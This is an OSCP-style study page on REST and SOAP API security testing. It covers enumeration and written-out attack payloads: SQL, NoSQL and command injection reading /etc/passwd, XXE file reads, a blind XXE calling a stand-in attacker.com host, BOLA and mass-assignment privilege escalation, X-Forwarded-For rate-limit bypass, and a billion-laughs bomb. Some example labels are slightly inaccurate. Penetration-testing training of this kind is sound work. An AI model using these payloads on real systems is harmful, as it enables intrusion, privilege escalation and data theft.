Domain 2Web App AttacksCORE

REST APIs and SOAP Services

REST API and SOAP web services with enumeration techniques, attack vectors including injection, BOLA, mass assignment, XXE, and exploitation strategies for OSCP.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#rest-api#soap#wsdl#api-security#oscp

REST APIs and SOAP Services

1. REST API Fundamentals

What is REST?

REST (Representational State Transfer) is an architectural style for designing networked applications. REST APIs use HTTP methods to perform CRUD operations on resources identified by URLs.

Core REST Principles

  1. Stateless — Each request contains all information needed; no server-side session state.
  2. Resource-based — Everything is a resource identified by a URL.
  3. Uniform interface — Standard HTTP methods for standard operations.
  4. Client-server separation — Client and server evolve independently.
  5. Cacheable — Responses can be cached to improve performance.

HTTP Methods in REST

Method Operation Idempotent Example
GET Read/Retrieve Yes GET /api/users/123
POST Create No POST /api/users
PUT Update (full) Yes PUT /api/users/123
PATCH Update (partial) No PATCH /api/users/123
DELETE Delete Yes DELETE /api/users/123
OPTIONS Get allowed methods Yes OPTIONS /api/users

REST API Example Endpoints

GET    /api/users           -> List all users
GET    /api/users/123       -> Get user with ID 123
POST   /api/users           -> Create new user
PUT    /api/users/123       -> Update user 123 (full replacement)
PATCH  /api/users/123       -> Update user 123 (partial)
DELETE /api/users/123       -> Delete user 123

JSON Payload Structure

Request (POST /api/users):

{
  "username": "jdoe",
  "email": "jdoe@example.com",
  "password": "SecurePass123!",
  "role": "user"
}

Response (201 Created):

{
  "id": 123,
  "username": "jdoe",
  "email": "jdoe@example.com",
  "role": "user",
  "createdAt": "2026-08-31T10:30:00Z"
}

Common REST Status Codes

Code Meaning API Context
200 OK Successful GET/PUT/PATCH
201 Created Successful POST
204 No Content Successful DELETE
400 Bad Request Malformed JSON, missing fields
401 Unauthorized Missing/invalid auth token
403 Forbidden Authenticated but no permission
404 Not Found Resource doesn’t exist
405 Method Not Allowed Wrong HTTP method
409 Conflict Duplicate resource
422 Unprocessable Entity Validation failed
429 Too Many Requests Rate limit exceeded
500 Internal Server Error Server-side error

API Versioning Strategies

URL path:    /api/v1/users, /api/v2/users
Query param: /api/users?version=1
Header:      Accept: application/vnd.api.v1+json
Subdomain:   v1.api.example.com

2. SOAP Services

What is SOAP?

SOAP (Simple Object Access Protocol) is a protocol for exchanging structured information using XML. Unlike REST, SOAP is a protocol with strict specifications, not an architectural style.

SOAP vs REST Comparison

Feature REST SOAP
Format JSON (typically) XML only
Protocol HTTP HTTP, SMTP, TCP, etc.
Standards Loose conventions Strict W3C specification
Security HTTPS, OAuth, JWT WS-Security
Transactions Not built-in WS-AtomicTransaction
Complexity Simple Complex
Performance Faster (lighter payloads) Slower (verbose XML)

WSDL (Web Services Description Language)

WSDL is an XML document that describes a SOAP service:

<?xml version="1.0" encoding="UTF-8"?>
<definitions name="UserService"
    targetNamespace="http://example.com/services"
    xmlns="http://schemas.xmlsoap.org/wsdl/">

  <types>
    <xsd:schema>
      <xsd:element name="GetUserRequest">
        <xsd:complexType>
          <xsd:sequence>
            <xsd:element name="userId" type="xsd:int"/>
          </xsd:sequence>
        </xsd:complexType>
      </xsd:element>
    </xsd:schema>
  </types>

  <message name="GetUserRequestMsg">
    <part name="body" element="tns:GetUserRequest"/>
  </message>

  <portType name="UserServicePort">
    <operation name="GetUser">
      <input message="tns:GetUserRequestMsg"/>
      <output message="tns:GetUserResponseMsg"/>
    </operation>
  </portType>

  <binding name="UserServiceBinding" type="tns:UserServicePort">
    <soap:binding style="document"
        transport="http://schemas.xmlsoap.org/soap/http"/>
  </binding>

  <service name="UserService">
    <port name="UserServicePort" binding="tns:UserServiceBinding">
      <soap:address location="http://target.com/services/UserService"/>
    </port>
  </service>
</definitions>

SOAP Envelope Structure

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

  <soap:Header>
    <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
      <wsse:UsernameToken>
        <wsse:Username>admin</wsse:Username>
        <wsse:Password>Password123</wsse:Password>
      </wsse:UsernameToken>
    </wsse:Security>
  </soap:Header>

  <soap:Body>
    <GetUserRequest xmlns="http://example.com/services">
      <userId>123</userId>
    </GetUserRequest>
  </soap:Body>

</soap:Envelope>

WS-Security

WS-Security extends SOAP with security features:

  • UsernameToken — Basic username/password authentication
  • X.509 Certificate — Certificate-based authentication
  • Message signing — Digital signatures for integrity
  • Message encryption — Encrypted payload for confidentiality

3. API Enumeration Techniques

REST API Enumeration

Common API Endpoints

/api/
/api/v1/
/api/v2/
/api/docs
/api/swagger.json
/api/openapi.json
/swagger-ui.html
/swagger-ui/
/v1/
/v2/
/graphql
/graphiql

Directory Brute-Force for APIs

# Gobuster for API endpoints
gobuster dir -u http://target.com/api \
    -w /opt/wordlists/seclists/Discovery/Web-Content/api/api.txt \
    -x json,xml \
    -t 50

# ffuf for API versioning
ffuf -u http://target.com/api/FUZZ/ \
    -w /opt/wordlists/api_versions.txt \
    -mc 200,201,401,403

# Common API paths wordlist
cat > api_paths.txt << 'EOF'
/users
/accounts
/orders
/products
/admin
/config
/settings
/auth
/login
/register
/token
/health
/status
/debug
/actuator
/management
EOF

gobuster dir -u http://target.com/api/v1 \
    -w api_paths.txt -t 50

Swagger/OpenAPI Discovery

# Check for Swagger UI
curl -s http://target.com/swagger.json | python3 -m json.tool | head -50

# Check for OpenAPI spec
curl -s http://target.com/api/openapi.json

# Extract endpoints from Swagger
curl -s http://target.com/swagger.json | \
    python3 -c "
import json, sys
data = json.load(sys.stdin)
if 'paths' in data:
    for path in data['paths']:
        print(path)
"

SOAP Service Enumeration

Finding WSDL Files

# Common WSDL locations
curl -s http://target.com/service.wsdl
curl -s http://target.com/services/service.wsdl
curl -s http://target.com/api/service?wsdl
curl -s http://target.com/soap/service.wsdl

# Gobuster for .wsdl files
gobuster dir -u http://target.com \
    -w /opt/wordlists/seclists/Discovery/Web-Content/common.txt \
    -x wsdl -t 50

# Search for WSDL references in source
grep -r "\.wsdl" /path/to/source/

Analyzing WSDL

# Parse WSDL to extract operations
python3 -c "
from lxml import etree
tree = etree.parse('service.wsdl')
root = tree.getroot()
ns = {'wsdl': 'http://schemas.xmlsoap.org/wsdl/'}
operations = root.xpath('//wsdl:operation', namespaces=ns)
for op in operations:
    name = op.get('name')
    print(f'Operation: {name}')
"

4. REST API Attack Vectors

4.1 Injection in REST Parameters

SQL Injection in REST APIs

GET /api/users?id=1' OR '1'='1 HTTP/1.1
Host: target.com
Authorization: Bearer <token>

GET /api/users?id=1 UNION SELECT username,password,null FROM users-- HTTP/1.1
Host: target.com

NoSQL Injection in REST APIs

// Original request
POST /api/login HTTP/1.1
Content-Type: application/json

{
  "username": "admin",
  "password": "password123"
}

// NoSQL injection (MongoDB)
POST /api/login HTTP/1.1
Content-Type: application/json

{
  "username": "admin",
  "password": {"$ne": null}
}

// Or using $gt
{
  "username": {"$gt": ""},
  "password": {"$gt": ""}
}

Command Injection in REST APIs

POST /api/tools/ping HTTP/1.1
Content-Type: application/json

{
  "host": "127.0.0.1; cat /etc/passwd"
}

// Or with backticks
{
  "host": "127.0.0.1`cat /etc/passwd`"
}

4.2 Broken Object Level Authorization (BOLA/IDOR)

BOLA is the #1 OWASP API Security risk. It occurs when an API exposes object identifiers that can be manipulated to access other users’ data.

BOLA Example

// Attacker's session - own profile
GET /api/users/1001/profile HTTP/1.1
Authorization: Bearer attacker_token
// Returns attacker's data

// IDOR - change ID to access victim's data
GET /api/users/1002/profile HTTP/1.1
Authorization: Bearer attacker_token
// Returns victim's data if BOLA exists!

// Enumerate user IDs
for i in $(seq 1001 1010); do
  curl -s -H "Authorization: Bearer attacker_token" \
    "http://target.com/api/users/$i/profile" | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print(f'{d.get(\"id\",\"?\")}: {d.get(\"email\",\"?\")}')"
done

BOLA in Different Methods

// PUT - Modify another user's data
PUT /api/users/1002/profile HTTP/1.1
Authorization: Bearer attacker_token
Content-Type: application/json

{
  "email": "hijacked@attacker.com",
  "phone": "123-456-7890"
}

// DELETE - Delete another user's resources
DELETE /api/users/1002/orders/5001 HTTP/1.1
Authorization: Bearer attacker_token

// PATCH - Partially modify another user's data
PATCH /api/users/1002/profile HTTP/1.1
Authorization: Bearer attacker_token
Content-Type: application/json

{
  "role": "admin"
}

4.3 Mass Assignment

Mass assignment occurs when an API accepts and processes more fields than intended, allowing attackers to modify protected fields.

Mass Assignment Example

// Intended registration payload
POST /api/users HTTP/1.1
Content-Type: application/json

{
  "username": "attacker",
  "email": "attacker@example.com",
  "password": "SecurePass123!"
}

// Mass assignment - add extra fields
POST /api/users HTTP/1.1
Content-Type: application/json

{
  "username": "attacker",
  "email": "attacker@example.com",
  "password": "SecurePass123!",
  "role": "admin",
  "isVerified": true,
  "accountBalance": 999999,
  "permissions": ["read", "write", "admin"]
}

Mass Assignment in PUT/PATCH

// Intended update
PUT /api/users/1001 HTTP/1.1
Content-Type: application/json

{
  "name": "John Doe",
  "email": "john@example.com"
}

// Mass assignment update
PUT /api/users/1001 HTTP/1.1
Content-Type: application/json

{
  "name": "John Doe",
  "email": "john@example.com",
  "role": "superadmin",
  "salary": 999999,
  "mfaEnabled": false
}

Testing for Mass Assignment

# Use Burp Suite to add fields to JSON body
# Or use curl with custom payload

curl -X PUT http://target.com/api/users/1001 \
  -H "Authorization: Bearer token" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "John",
    "role": "admin",
    "isAdmin": true,
    "accountType": "premium"
  }'

4.4 Excessive Data Exposure

APIs return more data than the client needs, exposing sensitive fields.

// API response with excessive data
{
  "id": 1001,
  "username": "jdoe",
  "email": "jdoe@example.com",
  "passwordHash": "$2b$12$...",
  "ssn": "123-45-6789",
  "creditCard": "4111-1111-1111-1111",
  "internalNotes": "Employee since 2020",
  "role": "user"
}

Exploitation: Use the exposed data for further attacks (password cracking, identity theft, social engineering).

4.5 Rate Limiting Bypass

# Test rate limits
for i in $(seq 1 100); do
  curl -s -o /dev/null -w "%{http_code} " \
    -X POST http://target.com/api/login \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"test"}'
done
# Look for 429 status codes

# Bypass with different headers
curl -X POST http://target.com/api/login \
  -H "X-Forwarded-For: 1.2.3.4" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}'

# Rotate IP via X-Forwarded-For
for i in $(seq 1 254); do
  curl -X POST http://target.com/api/login \
    -H "X-Forwarded-For: 10.0.0.$i" \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"test"}'
done

5. SOAP Attack Vectors

5.1 XML External Entity (XXE) in SOAP

SOAP uses XML, making it vulnerable to XXE attacks.

Basic XXE Payload

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetUserRequest xmlns="http://example.com/services">
      <userId><![CDATA[<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>&xxe;]]></userId>
    </GetUserRequest>
  </soap:Body>
</soap:Envelope>

XXE for File Read

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetUserRequest>
      <userId>&xxe;</userId>
    </GetUserRequest>
  </soap:Body>
</soap:Envelope>

XXE for SSRF (Blind)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "http://attacker.com/steal?data=">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetUserRequest>
      <userId>&xxe;</userId>
    </GetUserRequest>
  </soap:Body>
</soap:Envelope>

XXE for SSRF (In-Band)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetUserRequest>
      <userId>&xxe;</userId>
    </GetUserRequest>
  </soap:Body>
</soap:Envelope>

5.2 SOAP Action Manipulation

POST /services/UserService HTTP/1.1
Host: target.com
Content-Type: text/xml; charset=utf-8
SOAPAction: "GetUser"

// Change SOAPAction to access different operations
SOAPAction: "DeleteUser"
SOAPAction: "AdminOperation"
SOAPAction: ""

5.3 WS-Security Bypass

Missing UsernameToken Validation

// Remove security header entirely
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetUserRequest>
      <userId>123</userId>
    </GetUserRequest>
  </soap:Body>
</soap:Envelope>

Plaintext Password in UsernameToken

<wsse:Security>
  <wsse:UsernameToken>
    <wsse:Username>admin</wsse:Username>
    <wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText">
      Password123
    </wsse:Password>
  </wsse:UsernameToken>
</wsse:Security>

5.4 XML Bomb (Billion Laughs Attack)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY a "haha">
  <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
  <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
  <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetUserRequest>
      <userId>&d;</userId>
    </GetUserRequest>
  </soap:Body>
</soap:Envelope>

6. Tools for API Testing

Postman

  • Import OpenAPI/Swagger specs
  • Collection runner for automated testing
  • Environment variables for token management
  • Pre-request scripts for dynamic values

Burp Suite

  • Repeater — Manual request modification
  • Intruder — API parameter fuzzing
  • Scanner — Automated API vulnerability detection
  • Matcher/Comparer — Response comparison

soapUI

  • Open-source SOAP/REST testing tool
  • Import WSDL for auto-generated test cases
  • Groovy scripting for assertions
  • Load testing capabilities
# soapUI from command line
soapui.sh -r -jTestSuite.xml -o /path/to/results/

API-Specific Tools

# Postman API (programmatic)
newman run collection.json --environment env.json

# API fuzzing with ffuf
ffuf -u http://target.com/api/v1/FUZZ \
    -w api_endpoints.txt -mc 200,201,401

# API parameter discovery
arjun -u http://target.com/api/users/123

# GraphQL introspection
curl -X POST http://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{
    "query": "{ __schema { types { name fields { name } } } }"
  }'

7. OSCP Lab Scenarios

Scenario 1: BOLA in User API

Setup: REST API with user profiles accessible via /api/users/{id}.

# Login and get token
TOKEN=$(curl -s -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"user1","password":"password123"}' | \
  python3 -c "import json,sys; print(json.load(sys.stdin)['token'])")

# Access own profile
curl -s -H "Authorization: Bearer $TOKEN" \
  http://target.com/api/users/1001

# Try IDOR - enumerate other users
for i in $(seq 1001 1010); do
  echo "=== User $i ==="
  curl -s -H "Authorization: Bearer $TOKEN" \
    "http://target.com/api/users/$i" | \
    python3 -m json.tool 2>/dev/null | \
    grep -E '"email"|"name"|"role"'
done

Scenario 2: Mass Assignment Privilege Escalation

Setup: User registration API that doesn’t filter extra fields.

# Normal registration
curl -s -X POST http://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{
    "username": "attacker",
    "email": "attacker@test.com",
    "password": "SecurePass123!"
  }'

# Mass assignment - add role field
curl -s -X POST http://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{
    "username": "attacker2",
    "email": "attacker2@test.com",
    "password": "SecurePass123!",
    "role": "admin",
    "isAdmin": true
  }'

# Login as admin
curl -s -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker2","password":"SecurePass123!"}'

Scenario 3: XXE in SOAP Service

Setup: SOAP service accepting XML input.

# Check WSDL
curl -s http://target.com/services/UserService?wsdl | head -50

# Send XXE payload
curl -s -X POST http://target.com/services/UserService \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: \"GetUser\"" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetUserRequest>
      <userId>&xxe;</userId>
    </GetUserRequest>
  </soap:Body>
</soap:Envelope>'

8. Key Takeaways

For OSCP Exams

  1. Always enumerate API endpoints — Check /api/, /swagger.json, /api/docs, and versioned paths.
  2. Test every endpoint for BOLA — Change IDs in every request; this is the most common API vulnerability.
  3. Try mass assignment on all write operations — Add role, isAdmin, permissions fields to POST/PUT/PATCH.
  4. SOAP = XXE territory — Any XML input is a potential XXE vector.
  5. Check for excessive data exposure — API responses often contain more data than needed.
  6. Rate limit testing — Brute force may work if rate limiting is absent or bypassable.
  7. Authentication tokens — Test JWT manipulation, missing token validation, and token reuse.
  8. WSDL is your roadmap — For SOAP services, the WSDL reveals all available operations.

Essential Commands

# API discovery
gobuster dir -u http://target.com -w api_wordlist.txt -x json,xml

# BOLA testing
for i in $(seq 1 100); do
  curl -s -H "Authorization: Bearer $TOKEN" "http://target.com/api/resource/$i"
done

# Mass assignment test
curl -X POST http://target.com/api/users \
  -H "Content-Type: application/json" \
  -d '{"username":"test","password":"test","role":"admin"}'

# SOAP XXE test
curl -X POST http://target.com/service \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE test[<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'

9. Summary

REST APIs and SOAP services are prevalent in modern web applications and represent significant attack surfaces. REST APIs are vulnerable to BOLA, mass assignment, injection, and excessive data exposure. SOAP services are particularly susceptible to XXE due to their XML-based nature. Understanding API enumeration techniques, common attack vectors, and proper testing methodologies is essential for OSCP success. Always approach APIs systematically: enumerate first, then test each endpoint for the full range of applicable vulnerabilities.